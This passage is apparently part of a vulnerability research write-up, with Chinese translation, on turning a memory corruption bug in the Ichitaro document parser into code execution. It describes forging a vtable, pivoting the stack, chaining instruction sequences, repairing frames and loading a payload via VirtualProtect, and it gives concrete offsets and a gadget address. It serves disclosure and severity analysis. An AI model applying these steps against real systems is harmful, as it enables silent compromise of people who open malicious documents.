Once we’ve developed the ability to control a frame pointer for a method that is still within our scope of processing our document, we can examine the frame and determine what might be available for us to modify with our present capabilities. The frame that we’ve overwritten in the prior section shows that we’ll be able to control only a few variables. Unfortunately, at this point, the stream that we used to exercise the vulnerability has been closed, and if we tamper with this frame directly and the method ends up completing execution, the epilog of the function will fail due to its canary check resulting in fast-termination and process exit.
一旦我们开发出了控制仍在我们处理文档范围内的方法的帧指针的能力,我们就可以检查该框架并确定我们可以使用当前功能修改的内容。我们在上一节中覆盖的框架表明,我们只能控制几个变量。不幸的是,在这一点上,我们用来行使漏洞的流已经关闭了,如果我们直接篡改这个帧并且方法最终完成执行,函数的 epilog 将因其金丝雀检查而失败,导致快速终止和进程退出。

This listing shows the contents of the object that we’ll be using. As previously mentioned, it contains a single field and is used to read from the document. This field is an integer representing an index into an array of objects within an entirely different module. Each object from this external array is an opened document which varies depending on the usage of the application. Hence, this field can be treated as a handle that might not be forgeable without knowledge of the contents of the module or the actions the user has already made.
此列表显示了我们将使用的对象的内容。如前所述,它包含一个字段,用于从文档中读取。此字段是一个整数,表示完全不同模块中对象数组的索引。此外部数组中的每个对象都是一个打开的文档,该文档因应用程序的使用情况而异。因此,此字段可以被视为一个句柄,如果不了解模块的内容或用户已经执行的操作,则可能无法伪造。

However, we do have control of this object’s virtual method table reference, and since we haven’t completely broken the application yet, we can capture the handle from elsewhere and use it to re-forge this object at a later stage once we’ve earned control of the stack. After this, we can then repair the frame during our loader to remain in good standing with the application.

The first place we’ll be able to hijack execution is when the object owning the virtual method table that we’re taking control of is used to open up the next stream. The code that is listed shows the scope during which we control the frame pointer. In our exploit, this is where we hijack execution and completely pivot to a stack that we control to complete the necessary tasks for loading executable code into the address space.

In the listing, we descend through the different methods that get called during execution until we reach a virtual method named JSVDA::object_OFRM::method_openStream_2b5c5. This method is dereferenced and then called to open up the next stream from the document. This is the virtual method that we will be using to hijack execution.

The JSVDA::object_OFRM::method_openStream_2b5c5 virtual method belongs to the JSVDA.DLL module and takes six parameters before being called. This will need to be taken into account during our repurposing. As the stack will be adjusted by the implementation pushing said parameters and the preserved return address onto the stack, we will be required to include this adjustment in our new frame.

At this point, we have everything we need to execute code. However, we’ll need some way to resume execution after our instructions have been executed. To accomplish this, we’ll need to pivot the stack to one that we control. Generally, there are two ways in which we can pivot the stack. One way is to find a predictable address that we can write the addresses into, and then use a pivot that lets us perform an explicit assignment of that address to the %esp register. Another way is to adjust the %esp register to reference a part of the stack where we control its contents. To avoid having to write another contiguous chunk of data to a some known location using the vulnerability, the latter methodology was chosen as the primary candidate.

Pivoting Stack Pointer 旋转堆栈指针

Although we control a frame pointer and can use it to assign an arbitrary value to the instruction pointer, we do not have a clear way to execute multiple sequences of instructions to load executable code from our document. Hence, we need some way to set the stack pointer to a block of memory that we can use to resume execution after executing each chunk required to load our payload.
尽管我们控制一个帧指针,并可以使用它来为指令指针分配任意值,但我们没有明确的方法来执行多个指令序列来从文档加载可执行代码。因此,我们需要某种方式将堆栈指针设置为内存块,我们可以在执行加载有效负载所需的每个块后使用它来恢复执行。

As mentioned previously, the vulnerability occurs within the very first stream that is parsed by the target. Hence, due to our document not being able to influence much in the application, it is necessary to find logic within the stream parser to satisfy our needs. As we’re attempting to execute code residing at multiple locations within a module, we’ll need some logic within the stream parsing implementation that can be used to load a large amount of our data into the application’s stack. To discover this, we can use a quick script at the entry point of the style record parser to enumerate all of the functions being called and identify the ones that have the large size allocated for its frame.
如前所述,该漏洞发生在目标解析的第一个流中。因此,由于我们的文档无法对应用程序产生太大影响,因此有必要在流解析器中找到逻辑来满足我们的需求。当我们尝试执行驻留在模块内多个位置的代码时,我们需要在流解析实现中加入一些逻辑,这些逻辑可用于将大量数据加载到应用程序的堆栈中。为了发现这一点,我们可以在样式记录解析器的入口点使用一个快速脚本来枚举所有被调用的函数,并标识为其帧分配了大尺寸的函数。

In the following query, it appears that object_9c2044::readStyleType(1000)_4d951d is a likely candidate. Through manual reversing of the method, we can prove that its implementation allocates 0x18C8 bytes on the stack and reads 0x1000 bytes from its associated record directly into this allocated buffer.
在下面的查询中,这似乎是 object_9c2044::readStyleType(1000)_4d951d 一个可能的候选者。通过手动反转该方法,我们可以证明它的实现在 0x18C8 堆栈上分配字节,并将 0x1000 字节从其关联记录中直接读取到这个分配的缓冲区中。

# It looks like item #19, object_9c2044::readStyleType(1000)_4d951d, has more space allocated for its "lvars" than any of the others.

At this point, we can adjust the proof-of-concept for the vulnerability to include the 0x1000 record type. Then we can set a breakpoint on the method to prove that it is being executed during runtime. After setting the breakpoint, however, the method does not get executed. Instead, another function, object_9e5ffc::readStyleType(1000)_1b6bf7, is called to read record type 0x1000. After reversing the contents of this method, we are fortunate in that it uses a different methodology to allocate 0x1020 bytes on the stack. This likely would have been found if we had expanded our query as in the following listing.
此时,我们可以调整漏洞的概念证明,以包括 0x1000 记录类型。然后,我们可以在方法上设置一个断点,以证明它是在运行时执行的。但是,设置断点后,不会执行该方法。相反,调用另一个函数 object_9e5ffc::readStyleType(1000)_1b6bf7 来读取记录类型 0x1000 。在反转此方法的内容后,我们很幸运,因为它使用不同的方法来分配 0x1020 堆栈上的字节。如果我们像下面的列表一样扩展我们的查询,可能会发现这一点。

# 3 results. Record type 0x1000 looks like it's worth considering (and hence was named as such).

We can confirm this method satisfies our requirements during runtime by setting a breakpoint on this method and verifying that the object_9e5ffc::readStyleType(1000)_1b6bf7 method loads 0x1000 bytes of data from the stream onto the stack.

Now that we’ve found a candidate with the ability to read a large amount of data from the stream into its frame, we’ll need to know how much to adjust the stack pointer to reach it. To determine this value, we’ll need to calculate the distance between the offset of the 0x1000-sized buffer, and the value of the stack pointer at the time that we intend to control execution. The backtrace of both these points intersect in the method at 0x3C1FAF0Fobject_9c2044::method_processStreams_77af0f. Thus, we will only need the distance from the frame belonging to that function.

By laying out each of the frames contiguously, we can see that the distance from the stack pointer at the point of hijack to the frame belonging to 0x3BE276BE is +0xA8 bytes. However, we will need to adjust it by six parameters and include the saved return address as was described previously. This results in a total of 0xC4 bytes for the first distance. Next, we take the distance from the frame containing our huge buffer to the frame owned by 0x3BE276BE. This results in a total distance of +0x114C bytes. The difference of both of these distances results in +0x1088 bytes. This is the value that we will adjust our stack pointer with so that we can pivot execution directly into the huge buffer that contains our desired stack layout.
通过连续布局每个帧,我们可以看到从劫持点的堆栈指针到所属帧的距离 0x3BE276BE 是 +0xA8 字节。但是,我们需要通过六个参数对其进行调整,并如前所述包括保存的返回地址。这将导致第一个距离的总字节数 0xC4 。接下来,我们取从包含巨大缓冲区的帧到 拥有的 0x3BE276BE 帧的距离。这将导致 +0x114C 字节的总距离。这两个距离的差值以字节为单位 +0x1088 。这是我们将用来调整堆栈指针的值,以便我们可以将执行直接透视到包含所需堆栈布局的巨大缓冲区中。

Hijacking execution and using pivot
劫持执行和使用透视

Due to our prior work on promoting the vulnerability, we’ve developed it into the capability of writing an arbitrary amount of data anywhere within the address space. We also did the work to determine how to control a frame pointer which enables us to take control of the %ecx register in the method that owns said frame. This register contains the this pointer which refers to an object and is used when the implementation needs to access a property from the object or a necessary virtual method. After controlling the frame pointer, we can now forge this object and substitute an address of our choosing to be dereferenced as the virtual method table.
由于我们之前在推广该漏洞方面所做的工作,我们已将其开发为在地址空间内的任何位置写入任意数量数据的能力。我们还做了一些工作来确定如何控制帧指针,这使我们能够在拥有所述帧的方法中控制 %ecx 寄存器。此寄存器包含引用对象的 this 指针,当实现需要从对象或必要的虚拟方法访问属性时使用。在控制了帧指针之后,我们现在可以伪造这个对象,并替换我们选择取消引用的地址作为虚拟方法表。

In the listing, we’ll need to specify the address to execute at offset +0x10 of our forged virtual method table. This will result in the listed instructions dereferencing the virtual method of our controlled object and allow us to hijack execution. In the previous section, we calculated the distance between the stack pointer and a place that we can use to load a page-worth of data from the stream into a buffer on the stack. The only major thing that is left to do is to locate a stack pivot that we can use with the size from the previous section to adjust the stack pointer into our page-worth of stream data. Once we’ve pivoted, we can continuously execute the necessary instructions to load our payload into the address-space.

By enumerating the non-relocatable modules within the address-space of the application, we can identify many instances of the following instruction sequences. Each of these sequences allows us to adjust the stack pointer using the value loaded at -0x18 relative to the %ecx register. As we completely control the %ecx register due to our frame overwrite, we can store the distance that we had previously calculated at -0x18 from our %ecx register to pivot to our forged call stack. Our completed process can then be summarized by creating a fake virtual method table, assigning the address of one of the listed sequences to offset +0x10 of it, and then storing our distance at -0x18 of it. When the virtual method is then called, we will have begun the very first stage of actually hijacking the application’s instruction pointer.

Generalizations on Instruction Sequence Reuse

When putting together the chunks that are necessary for loading arbitrary code, each sequence contains a side effect that contributes to the necessity of said chunk, and an attribute that determines the method by which one can continue execution from it. For the second attribute, an instruction sequence can continue its execution in only a few ways.

The first method is generally recognized as return-oriented programming and requires control of memory that resides within a stack frame. The second method involves the combination of branch instruction and an immediate register which requires arithmetic and control of the register to continue execution. The third method involves a dereference and a branch instruction. This method requires control of an address that is relative to a register, or a branch that references a global within the address-space of the target and control of said memory location. There is a fourth method that involves runtime or operating-system-provided facilities, however, this method has not been explored within the provided exploit.

The two types of branches that are necessary to leverage each of these methods are a preserved branch which preserves some aspect of the current execution scope, or a direct branch which either discards or does not have any effect on the current scope. Generally, the primary characteristic that distinguishes whether a desired sequence can be continued from the chunk that was previously executed relies on how it may affect the stack pointer upon its entry and its exit. This is a result of the stack pointer, in essence, having similar characteristics as the instruction pointer with regard to instructions that affect it.

Based on these assumptions, the table containing the offsets of the sequences containing the necessary side effects leveraged during the exploitation process keeps track of two pieces of data. The first is the stack delta for the entirety of each chunk (excluding the stack delta if the sequence directly influences the stack pointer). The second piece of data involves any adjustments that may be applied to the stack pointer after the code chunk has continued execution to its following sequence.

From these two pieces of data, the following Python code can be used to isolate the process of chaining sequences together from the process of putting together the necessary side-effects for leveraging code execution. By implementing this abstraction, this has the effect of simplifying the stack layout process enabling an implementer to put together code sequences in a way that is better oriented toward reusability.

A few more abstractions around this concept were developed to allow further flexibility such as marking a specific slot on the stack relative to another code chunk, and then using the side effect of a prior sequence to load from or store a value to that slot. By combining the second or third execution-retaining methods with a preserving-branch instruction, primitive looping constructs are possible without the need for conditional branches through the simulation of a jump table. This is useful for the situation where the amount of data being processed by each sequence is of a non-static length and dependent on a value only available during runtime.
围绕这个概念开发了更多的抽象,以允许进一步的灵活性,例如标记堆栈上的特定槽相对于另一个代码块,然后使用先前序列的副作用从该槽加载或存储值。通过将第二或第三种执行保留方法与保留分支指令相结合,可以通过模拟跳转表来实现原始循环结构,而无需条件分支。这对于每个序列处理的数据量是非静态长度的,并且依赖于仅在运行时可用的值的情况非常有用。

Repairing the frame 修理框架

In a previous section, we’ve combined all of the capabilities that we’ve developed and can completely control the execution of the current thread with data that was read from the stream containing our vulnerability. We’ve also successfully developed a methodology that enables us to execute multiple sequences of instructions in succession. Normally this should be enough, however, at the time that we’ve taken control of the instruction pointer, all of the streams belonging to the document have completely gone out of scope.
在上一节中,我们结合了我们开发的所有功能,并且可以通过从包含漏洞的流中读取的数据完全控制当前线程的执行。我们还成功开发了一种方法,使我们能够连续执行多个指令序列。通常这应该足够了,但是,在我们控制指令指针时,属于文档的所有流都完全超出了范围。

Another thing of concern is that we’ve used our control of the frame pointer to swap the virtual method table of the only object that is responsible for referencing the contents of our document. This results in the document being completely inaccessible to us at this point in execution, and prevents us from returning to the application when we’re done. We can avoid this, however, if we can repair the frame and re-create the objects that were in scope at the time the application was supposed to complete its parsing of the document stream.
另一件值得关注的事情是,我们使用了对框架指针的控制来交换负责引用文档内容的唯一对象的虚拟方法表。这导致我们在执行时完全无法访问该文档,并阻止我们在完成后返回应用程序。但是,如果我们可以修复框架并重新创建应用程序应该完成文档流解析时范围内的对象,则可以避免这种情况。

Hence, our next step requires us to discover a way of restoring the functionality to access the contents of our document. Fortunately, we can use the frame pointer that is stored within the %ebp register to access the frame of our caller. This allows us to use it as a reference point and to access any information that was previously in the stack. Hence, when we use our ability to execute sequences of prior loaded instructions, we will need to preserve this register as it is our only gateway into the application’s original stack.
因此,我们的下一步要求我们发现一种恢复功能以访问文档内容的方法。幸运的是,我们可以使用存储在 %ebp 寄存器中的帧指针来访问调用者的帧。这使我们能够将其用作参考点,并访问以前在堆栈中的任何信息。因此,当我们使用我们的能力来执行先前加载的指令序列时,我们需要保留这个寄存器,因为它是我们进入应用程序原始堆栈的唯一网关。

During the execution of our sequences, we can also use the %ecx about register that we took control of when modifying the frame pointer. This can be leveraged as a reference point to access or store any information to the forged object that was created with our vulnerability. It is also worth considering that the calling convention for the application preserves registers when executing a different function. As a result, the %ebx%esi, and %edi registers can also be used to preserve any values that we need when our sequences dispatch back into the process after they fulfill our needs.
在序列的执行过程中,我们还可以使用在修改帧指针时控制的 %ecx about 寄存器。这可以用作参考点,以访问或存储使用我们的漏洞创建的伪造对象的任何信息。还值得考虑的是,应用程序的调用约定在执行不同函数时会保留寄存器。因此, %ebx 、 %esi 和 %edi 寄存器还可用于保留我们需要的任何值,当我们的序列在满足我们的需求后调度回流程时。

Reviewing the call-stack at the time that the virtual method from our forged object is called shows that we are 4 frames away from the function whose frame we hijacked. Hence, we will need to know the sizes of these frames if we want to access any of their contents. The diagram that follows shows each of these frames along with their sizes. In this diagram, the frame pointer within the %ebp register was preserved in the frame for object_OFRM::openStreamByName?_132de4 at 0x3BBB2DE4, and references the frame pointer farther up the call stack and preserved in the function for object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be at 0x3BE276BE.
在调用来自伪造对象的虚拟方法时查看调用堆栈表明,我们距离我们劫持其帧的函数有 4 帧的距离。因此,如果我们想访问它们的任何内容,我们将需要知道这些框架的大小。下图显示了这些帧中的每一个及其大小。在此图中, %ebp 寄存器中的帧指针保留在 object_OFRM::openStreamByName?_132de4 at 0x3BBB2DE4 的帧中,并引用调用堆栈上更远的帧指针,并保留在 object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be at 0x3BE276BE 的函数中。

[10]   -4:+0x4 char[4] ' r' [(<class 'int'>, 1), 4]

After we stash the state of the frame pointer during execution, we then use it to immediately repair the frame pointer that was hijacked farther up the stack in the object_9c2044::method_processStreams_77af0f at 0x3C1FAF0F. Since we know what the original value for the frame pointer was intended to be, we can add the distance between the calculations of what the original frame pointer was before we overwrote it with the vulnerability.
在执行期间隐藏帧指针的状态后,我们使用它立即修复在 object_9c2044::method_processStreams_77af0f at 0x3C1FAF0F 中堆栈更上游被劫持的帧指针。由于我们知道帧指针的原始值的预期值,因此我们可以在用漏洞覆盖原始帧指针之前添加原始帧指针的计算之间的距离。

This is done by taking the difference between the ” s” field in frame 0x3BBB2DE4 which is our overwritten frame pointer value, and the ” s” field in frame 0x3C1FAF0F which is the correct value before overwriting the frame pointer. The result of this calculation is 0x334 bytes, and we only need to add this value to our current frame pointer in the %ebp register to determine the correct value.
这是通过取帧中的“ s ”字段(我们覆盖的帧指针值)和帧 0x3C1FAF0F 中的“ s ”字段(覆盖帧指针之前的正确值)之间的差值来 0x3BBB2DE4 完成的。这个计算的结果是 0x334 字节,我们只需要将这个值添加到 %ebp 寄存器中的当前帧指针中,就可以确定正确的值。

We’ll also need to do a similar calculation to locate the saved frame pointer that was overwritten for us to write our correct value to it. This is demonstrated in the listing that follows. Instead of using the ” s” field in frame 0x3C1FAF0F, we’ll need to use the ” s” field in frame 0x3BE26CB2. The distance to correct the overwritten frame pointer is then calculated as +0xC4. Utilizing both values allows us to completely repair the frame and return the application to the state before our modifications after we’ve accomplished our goal.
我们还需要进行类似的计算,以找到被覆盖的已保存帧指针,以便我们将正确的值写入其中。这在下面的清单中得到了证明。我们需要在帧中使用 “ ” 字段,而不是在帧 0x3C1FAF0F 0x3BE26CB2 中使用 “ s s ” 字段。然后,校正覆盖帧指针的距离计算为 +0xC4 。利用这两个值,我们可以完全修复框架,并在完成目标后将应用程序恢复到修改前的状态。

Loading the contents of a stream
加载流的内容

After repairing the frame, we still need some way of loading a payload into the address space to mark it as executable and then execute it. Since we hijacked execution after the stream that contained the vulnerability was closed by the application, we’ll need some other means to load our code. Fortunately, as we have access to the scope of the stream parsing, we can reuse anything available within the stack to perform this. This is only possible because the JSVDA.DLL module, which contains the necessary functionality to interact with a document object, is at a known address, and the document is stored within the application as a single handle. Thus, only the object’s handle and its virtual method table are necessary to forge our own instance of the document object, and we’ll need to reference it to restore the ability to read from the document back to the application.
修复帧后,我们仍然需要某种方式将有效负载加载到地址空间中,以将其标记为可执行文件,然后执行它。由于我们在应用程序关闭包含漏洞的流后劫持了执行,因此我们需要一些其他方法来加载代码。幸运的是,由于我们可以访问流解析的范围,因此我们可以重用堆栈中可用的任何内容来执行此操作。这之所以成为可能, JSVDA.DLL 是因为包含与文档对象交互的必要功能的模块位于已知地址,并且文档作为单个句柄存储在应用程序中。因此,只有对象的句柄及其虚拟方法表是伪造我们自己的文档对象实例所必需的,并且我们需要引用它来恢复从文档读取回应用程序的能力。

Revisiting the call stack containing the scope of the document parser to the point where we hijack execution, we need the distance between our saved frame pointer and the field inside the frame for the object_9c2044::method_processStreams_77af0f function at 0x3C1FAF0F which contains the document object. In the following listing, the ap_oframe_0 field contains the document object of type JSVDA::object_OFRM that was passed in from its caller, and then the lp_oframe_230 local variable in the frame maintains a copy of it for the method. Once we’ve calculated the distance between our current frame pointer and the location of one of these objects, we can simply load the object’s handle from its list of properties, and then use it anywhere to access the contents of the loaded document.
重新访问包含文档解析器范围的调用堆栈,直到我们劫持执行的点,我们需要保存的帧指针与包含文档对象的 object_9c2044::method_processStreams_77af0f 函数 0x3C1FAF0F 的帧内字段之间的距离。在下面的清单中,该 ap_oframe_0 字段包含从其调用方传入的文档 JSVDA::object_OFRM 对象,然后框架中的 lp_oframe_230 局部变量为该方法维护该对象的副本。一旦我们计算了当前帧指针与其中一个对象的位置之间的距离,我们就可以简单地从其属性列表中加载对象的句柄,然后在任何地方使用它来访问加载文档的内容。

In the exploit, we leverage our vulnerability to store an address to the forged object’s virtual method table in memory. Thus, to complete the object, we only need to write the handle from the document object that we loaded from farther up our call stack to its correct place after the virtual method table. At this point, we can call any of its methods to use our copy of it. The following listing is the simple layout of this object.
在漏洞利用中,我们利用漏洞将伪造对象的虚拟方法表的地址存储在内存中。因此,要完成对象,我们只需要将从调用堆栈上加载的文档对象中的句柄写入虚拟方法表之后的正确位置。此时,我们可以调用它的任何方法来使用它的副本。以下列表是此对象的简单布局。

Python>struc.search('*_OFRM').members
<class 'structure' name='JSVDA::object_OFRM' size=0x8>  # [alloc.tag] OFRM
[0] 0+0x4 int 'p_vftable_0' (<class 'int'>, 4)          # [vftable] 0x278186F0
[1] 4+0x4 int 'v_index_4'   (<class 'int'>, 4)          # {'note': 'object_117c5 handle', 'alloc.tag': 'MFCM'}

Afterward, the rest of the process is straightforward. To allocate a page of memory, we use another method within the same module. We copy the original virtual method table back into our forged object and then reuse it to open up an arbitrary stream from the file and return another object for the stream. Using this stream object, we read the contents of the opened stream into the allocated page of memory.
之后,该过程的其余部分很简单。为了分配内存页,我们在同一模块中使用了另一种方法。我们将原始虚拟方法表复制回伪造对象,然后重用它从文件中打开任意流,并为该流返回另一个对象。使用此流对象,我们将打开的流的内容读入分配的内存页。

To make this allocated page of memory executable, we reuse a wrapper around one of the imports within the same module to call “VirtualProtect“. Finally, we call our stub for the loaded code to initialize the payload and branch to its real entry point. Once the payload completes its execution and returns to us, we set a successful return code so that the 0x3C1FAF0F function believes that the stream was parsed successfully. At this point, our payload is successfully executing in the background and the application has completely rendered the document.
为了使这个分配的内存页可执行,我们重用一个包装器来调用同一模块中的一个导入来调用“ VirtualProtect ”。最后,我们为加载的代码调用存根,以初始化有效负载并分支到其实际入口点。一旦有效负载完成执行并返回给我们,我们就会设置一个成功的返回代码,以便 0x3C1FAF0F 函数相信流已成功解析。此时,我们的有效负载在后台成功执行,应用程序已完全呈现文档。

Using a compiler 使用编译器

After the process for loading the desired code into the address space is complete, it is generally publically agreed upon to directly include “shellcode” to maintain execution within the context of the exploited process. Shellcode involves generated or hand-written assembly code that is used to demonstrate control of execution. Alternatively, one can simply leverage open-source compiler tools to implement their payload in a language with higher-level abstractions. This is not only limited to closed-source compilers, however, as one can implement a basic linker with a stub at the entry point of the linked code that is responsible for applying the necessary relocations to its data and then loading the final payload. This is not dissimilar to the reflective DLL injection technique from Stephen Fewer.
在将所需代码加载到地址空间的过程完成后,通常公开同意直接包含“shellcode”以在被利用的进程的上下文中保持执行。Shellcode 涉及生成或手写的汇编代码,用于演示对执行的控制。或者,人们可以简单地利用开源编译器工具在具有更高级别抽象的语言中实现其有效载荷。然而,这不仅限于闭源编译器,因为人们可以在链接代码的入口点实现一个带有存根的基本链接器,该存根负责对其数据应用必要的重定位,然后加载最终有效负载。这与Stephen Fewer的反射式DLL注入技术没有什么不同。

The following linker script can be used with the MinGW port of the GNU linker (ld) to emit a contiguous binary that may be loaded into the context of a process. This linker script isolates the entry point from the contiguous pages that need to be mapped as executable and the pages that need to be mapped as writable. After the data and executable code has been properly mapped, an implementer will then need to apply __load_size relocations that are stored between the __load_reloc_start and __load_reloc_stop symbols. If imports are included in the linked target, these end up being stored between the __load_import_start and __load_import_end symbols.
以下链接器脚本可以与 GNU 链接器 (ld) 的 MinGW 端口一起使用,以发出一个连续的二进制文件,该二进制文件可以加载到进程的上下文中。此链接器脚本将入口点与需要映射为可执行文件的连续页面和需要映射为可写页面的页面隔离开来。正确映射数据和可执行代码后,实现者将需要应用 __load_size 存储在 __load_reloc_start 和 __load_reloc_stop 符号之间的重定位。如果导入包含在链接目标中,则这些导入最终会存储在 __load_import_start 和 __load_import_end 符号之间。

By implementing the logic required to map the chosen segments into memory and applying the necessary relocations, dependence on the platform’s runtime linker can be avoided entirely. After this, an implementer can then initialize the runtime for their desired language and develop more complicated payloads in a language that better facilitates their needs.
通过实现将所选段映射到内存所需的逻辑并应用必要的重定位,可以完全避免对平台运行时链接器的依赖。在此之后,实现者可以初始化所需语言的运行时,并使用更好地满足其需求的语言开发更复杂的有效负载。

Alternatively, a linker for the PECOFF object and archive formats is also included with the exploit in case the implementer prefers to use a closed-source compiler for their payload. This linker will take a list of input files and emit a block of binary data that when executed by the exploit will load and execute the implemented payload.
或者,如果实现者更喜欢使用闭源编译器作为其有效负载,则该漏洞还包含用于 PECOFF 对象和存档格式的链接器。此链接器将获取输入文件列表并发出一个二进制数据块,当漏洞利用执行该数据时,该数据块将加载并执行已实现的有效负载。

Finishing up 整理

After our loaded code has been successfully executed, we only need to set the %eax register to a correct value to tell the caller that either the stream could not be opened, or it has been opened successfully. After assigning the result, we need to use a regular frame pointer exit to leave the hijacked function and resume execution as if nothing happened. The following two addresses will do exactly that. Because the hijacked frame pointer had previously been repaired before executing our payload, the application will continue to attempt to parse and load the rest of the contents for the document as if nothing terrible has happened.
我们加载的代码成功执行后,我们只需要将 %eax 寄存器设置为正确的值,即可告诉调用者流无法打开,或者已成功打开。分配结果后,我们需要使用常规的帧指针退出,离开被劫持的函数,并像什么都没发生一样继续执行。以下两个地址将完全做到这一点。由于被劫持的帧指针在执行有效负载之前已修复,因此应用程序将继续尝试解析和加载文档的其余内容,就好像没有发生任何可怕的事情一样。

JSAPRUN.DLL    0x6100e5cf: pop eax; ret;

Conclusion 结论

When it comes to exploiting memory corruption vulnerabilities on modern operating systems, the time of generic exploitation techniques is long gone. Exploitation techniques are application-specific and developing them requires a far deeper understanding of their inner workings, often ones that original developers are unaware of due to abstractions of high-level languages. While the presence of an interactive execution environment or a scripting language offers almost limitless exploitation flexibility, in environments like Ichitaro’s an exploit developer has to chain together many different side-effects to achieve a one-shot exploit.
在利用现代操作系统上的内存损坏漏洞时,通用利用技术的时代早已一去不复返了。开发技术是特定于应用程序的,开发它们需要更深入地了解其内部工作原理,而由于高级语言的抽象,原始开发人员通常没有意识到这些工作原理。虽然交互式执行环境或脚本语言的存在提供了几乎无限的利用灵活性,但在像 Ichitaro 这样的环境中,漏洞开发人员必须将许多不同的副作用链接在一起才能实现一次性利用。

In the case presented, a single vulnerability was abused to ultimately achieve arbitrary code execution. This is often not the case where exploits require chaining multiple vulnerabilities. This often makes it difficult to judge the severity of individual vulnerabilities but exploitation demonstrations like the one presented here develop an equivalence class that enables us to make informed decisions without demonstrating exploitation for every instance. 
在所提出的案例中,一个漏洞被滥用,最终实现了任意代码的执行。当漏洞利用需要链接多个漏洞时,通常不会出现这种情况。这通常使得判断单个漏洞的严重性变得困难,但像这里介绍的那样,利用演示开发了一个等效类,使我们能够做出明智的决策,而无需展示每个实例的利用。
